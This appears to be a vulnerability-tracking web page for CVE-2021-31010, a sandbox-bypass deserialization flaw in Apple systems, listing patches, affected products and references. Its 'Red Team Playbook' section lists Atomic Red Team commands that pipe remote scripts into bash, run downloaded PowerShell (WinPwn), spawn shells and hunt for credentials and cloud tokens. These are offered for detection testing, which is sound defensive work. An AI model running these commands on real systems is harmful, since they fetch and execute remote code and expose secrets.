CVE-2021-31010
Overview
This vulnerability is a deserialization flaw caused by insufficient validation of untrusted input during the deserialization process within sandboxed system components of Apple operating systems. The root cause lies in the failure to properly verify serialized data before deserialization, allowing maliciously crafted data to bypass sandbox restrictions. The affected components include sandboxed processes in Apple macOS, iOS, iPadOS, and watchOS that handle deserialization routines.
Vulnerability Description
A deserialization issue was addressed through improved validation. This issue is fixed in Security Update 2021-005 Catalina, iOS 12.5.5, iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6, watchOS 7.6.2. A sandboxed process may be able to circumvent sandbox restrictions. Apple was aware of a report that this issue may have been actively exploited at the time of release..
Impact
An attacker can leverage this vulnerability to bypass sandbox restrictions on affected Apple devices without requiring authentication or user interaction. This enables execution of unauthorized code within sandboxed processes, potentially leading to privilege escalation and lateral movement within the system. The consequence is a compromise of system integrity and security boundaries, increasing the risk of unauthorized access to sensitive data or system resources.
Solution
Apply the Security Update 2021-005 for macOS Catalina 10.15.7 and macOS Big Sur 11.6, as well as updates iOS 12.5.5, iOS 14.8, and iPadOS 14.8 provided by Apple. Detailed patch instructions and update downloads are available at Apple’s official security support pages: https://support.apple.com/en-us/HT212804, https://support.apple.com/en-us/HT212805, and https://support.apple.com/en-us/HT212807. No additional workarounds are recommended by Apple.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (22)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
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Apple | Mac Os X | All |
cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*
|
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|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020:*:*:*:*:*:*
|
|
|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-001:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-005:*:*:*:*:*:*
|
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|
Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2020-007:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-001:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-002:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-003:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-006:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-007:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2021-008:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2022-001:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2022-002:*:*:*:*:*:*
|
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2022-003:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:security_update_2022-004:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-31010 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212804 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212805 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212807 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212806 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212824 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-31010 |